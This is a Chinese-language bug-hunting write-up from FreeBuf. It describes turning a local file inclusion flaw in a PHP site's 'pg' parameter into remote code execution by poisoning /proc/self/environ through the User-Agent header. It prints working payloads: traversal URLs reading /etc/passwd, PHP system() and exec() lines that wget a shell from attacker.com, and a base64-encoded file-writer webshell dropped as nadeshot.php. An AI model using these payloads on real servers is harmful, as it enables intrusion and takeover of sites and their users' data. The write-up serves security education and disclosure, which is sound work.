freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

挖洞经验 | 构造User-Agent请求头内容实现LFI到RCE提权
2020-10-27 08:33:09

本文分享的Writeup是作者近期针对某20000+用户网站,通过对请求User-Agent内容构造,成功实现从本地文件包含漏洞(LFI)到远程代码执行漏洞(RCE)的提权。

发现LFI漏洞

以下为目标网站的Contact Us链接路径:

https://www.website.com/index.php?pg=contact.php

经过对pg参数的fuzz,我发现其中存在LFI漏洞,可以用../../../../etc/passwd直接读出系统密码信息:

https://www.website.com/index.php?pg=../../../../etc/passwd

从LFI到RCE

要想把LFI提权到RCE, 我又发现另一个可读路径/proc/self/environ,于是我有了以下构造:

https://www.website.com/index.php?pg=../../../../proc/self/environ


很好,从其输出中可以看到,其中包含了如HTTP_USER_AGENT等一些环境变量参数:

不错,开启BurpSuite,用system()方法更改请求中的User-Agent值:

User-Agent: <?system('wget http://attacker.com/shell.txt -O shell.php');?>

不行,无效。再试试exec()方法:

User-Agent: <?exec('wget http://attacker.com/shell.txt -O shell.php');?>

也是不行,无效。那用phpinit()试试:

User-Agent: <?php phpinfo(); ?>

折腾了一阵后,我差点忘了我是可以向目标网站服务器写东西的啊,于是我就又在User-Agent头中构造了以下Payload:

User-Agent: <?php $a = base64_decode('PD9waHAgCiAgJGEgPSAkX1BPU1RbJ2NvZGUnXTsKICAkZmlsZSA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwndycpOwogIEBmd3JpdGUoJGZpbGUsJGEpOwogIEBmY2xvc2UoJGZpbGUpOwo/Pgo8Y2VudGVyPgogIDxmb3JtIG1ldGhvZD0icG9zdCIgaWQ9ImZvcm0iPgogICAgPGgyPkZpbGUgV3JpdGVyPC9oMj4KICAgIEZpbGUgTmFtZTxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9InNoZWxsLnBocCI+PGJyPgogICAgU2hlbGwgQ29kZTxicj48dGV4dGFyZWEgbmFtZT0iY29kZSIgZm 9ybT0iZm 9ybSIgcGxhY2Vob2xkZXI9IlBhc3RlIHlvdXIgc2hlbGwgaGVyZSI+PC90ZXh0YXJlYT48YnI+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iV3JpdGUiPgogIDwvZm 9ybT4KPC9jZW50ZXI+Cg=='); $file = fopen('nadeshot.php','w'); echo fwrite($file,$a); fclose($file); ?>

解释上述构造的Payload

上述构造使用的最终Payload是一个base64编码的webshell,原代码文件存在于Github库中-https://github.com/alita-ido/PHP-File-Writer/blob/master/lfi-writer.php,其大概造型为:

$a = base64_decode('webshell_base64_encoded_code_here');

然后我们向服务器中写入了一个名为nadeshot.php的文件:

$file = fopen('nadeshot.php','w');

然后服务器会把base64编码的上述文件写入nadeshot.php文件:

echo fwrite($file,$a);

再保存文件:

fclose($file);

上述请求Payload执行后的BurpSuite动作如下:

响应成功。希望我们的Webshell可以成功,访问https://website.com/nadeshot.php试试看:
Webshell写入成功,保存为了nadeshot.php,太好了,我们再接着往里写入nadeshot.txt文件试试:

然后访问https://website.com/nadeshot.txt,一样有效:

就这样,成功实现了从LFI到RCE的提权。

参考来源:medium

# LFI到RCE提权 # User-Agent请求头
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录